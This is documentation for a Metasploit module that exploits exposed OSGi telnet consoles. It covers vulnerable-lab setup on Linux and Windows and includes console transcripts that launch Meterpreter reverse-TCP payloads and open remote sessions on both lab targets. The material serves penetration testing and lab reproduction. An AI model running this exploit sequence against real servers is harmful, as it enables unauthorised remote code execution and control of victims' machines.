documentation/modules/exploit/multi/misc/osgi_console_exec.md
This module takes advantage of OSGi consoles exposed by some Java-based middleware servers.
The OSGi console is a telnet-based server that can be used for remote debugging and dynamic loading/removal of Java bundles running on an OSGi based server.
Follow these steps to run the vulnerable application on a Linux host:
mkdir testenv && cd testenvwget https://gist.githubusercontent.com/QKaiser/66c8a618eef2a7801c0bbb1aa43d724a/raw/e098f6ea31717311bd6ce5b3be94744dddfc2388/setup.shchmod +x setup.sh./setup.shjava -jar org.eclipse.osgi.jar -console 5555osgi>
telnet localhost 5555telnetd --ip=127.0.0.1 startFollow these steps to run the vulnerable application on a Windows host:
osgi_test for clarity.configuration in osgi_testconfig.ini in your configuration directory. The file should contain the following lines only:osgi.bundles=org.eclipse.equinox.console@start, org.apache.felix.gogo.command@start, org.apache.felix.gogo.shell@start, org.apache.felix.gogo.runtime@start
eclipse.ignoreApp=true
osgi.noShutdown=true
plugins directory in osgi_test directoryplugins/org.apache.felix.gogo.command_(version).jar from the SDK as org.apache.felix.gogo.command.jar in osgi_test directory.plugins/org.apache.felix.gogo.runtime_(version).jar from the SDK as org.apache.felix.gogo.runtime.jar in osgi_test directory.plugins/org.apache.felix.gogo.shell_(version).jar from the SDK as org.apache.felix.gogo.shell.jar in osgi_test directory.plugins/org.eclipse.equinox.console_(version).jar from the SDK as org.eclipse.equinox.console.jar in osgi_test directory.plugins/org.eclipse.osgi_(version).jar from the SDK as org.eclipse.osgi.jar in osgi_test directory.osgi_test directory should contain the following items:.
├── configuration
│ └── config.ini
├── org.apache.felix.gogo.command.jar
├── org.apache.felix.gogo.runtime.jar
├── org.apache.felix.gogo.shell.jar
├── org.eclipse.equinox.console.jar
├── org.eclipse.osgi.jar
└── plugins
java -jar org.eclipse.osgi.jar -console 5555osgi>
telnet localhost 5555telnetd --ip=127.0.0.1 startIf you don't want to go through all those steps manually I recommend you to run the setup script on a Linux host, mount the directory on a Windows VM and start from step 11.
You can verify the module against the vulnerable application with those steps:
use exploit/multi/misc/osgi_console_execset RHOST 127.0.0.1set RPORT 5555 or set RPORT 2019check. The target should appear vulnerable.set payload with the payload of your choosing.runTime to wait for payload to be executed. The default value is set to 20 seconds.
Exploit running against a Ubuntu Linux target:
msf > use exploit/multi/misc/osgi_console_exec
msf exploit(multi/misc/osgi_console_exec) > set RHOST 172.20.10.4
msf exploit(multi/misc/osgi_console_exec) > set RPORT 5555
msf exploit(multi/misc/osgi_console_exec) > set TARGET 0
msf exploit(multi/misc/osgi_console_exec) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/misc/osgi_console_exec) > set LHOST 172.20.10.2
msf exploit(multi/misc/osgi_console_exec) > set LPORT 4444
msf exploit(multi/misc/osgi_console_exec) > run
[*] Exploit running as background job 1.
[*] Started reverse TCP handler on 172.20.10.2:4444
[*] 172.20.10.4:5555 - Accessing the OSGi console ...
[*] 172.20.10.4:5555 - Exploiting...
[*] Sending stage (857352 bytes) to 172.20.10.4
[*] 172.20.10.4:5555 - 172.20.10.4:5555 - Waiting for session...
[*] Meterpreter session 2 opened (172.20.10.2:4444 -> 172.20.10.4:39314) at 2018-02-14 19:17:39 +0100
[*] 172.20.10.4:5555 - Command Stager progress - 100.00% done (763/763 bytes)
msf exploit(multi/misc/osgi_console_exec) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > sysinfo
Computer : 172.20.10.4
OS : Ubuntu 16.04 (Linux 4.4.0-38-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
Exploit running against a Windows 7 target:
msf > use exploit/multi/misc/osgi_console_exec
msf exploit(multi/misc/osgi_console_exec) > set RHOST 172.20.10.3
msf exploit(multi/misc/osgi_console_exec) > set RPORT 5555
msf exploit(multi/misc/osgi_console_exec) > set TARGET 1
msf exploit(multi/misc/osgi_console_exec) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/misc/osgi_console_exec) > set LHOST 172.20.10.2
msf exploit(multi/misc/osgi_console_exec) > set LPORT 4444
msf exploit(multi/misc/osgi_console_exec) > run
[*] Exploit running as background job 2.
[*] Started reverse TCP handler on 172.20.10.2:4444
[*] 172.20.10.3:5555 - Accessing the OSGi console ...
[*] 172.20.10.3:5555 - Exploiting...
[*] 172.20.10.3:5555 - 172.20.10.3:5555 - Waiting for session...
[*] Sending stage (179779 bytes) to 172.20.10.3
[*] Meterpreter session 1 opened (172.20.10.2:4444 -> 172.20.10.3:49365) at 2018-02-14 19:14:15 +0100
msf exploit(multi/misc/osgi_console_exec) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : PENTEST-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows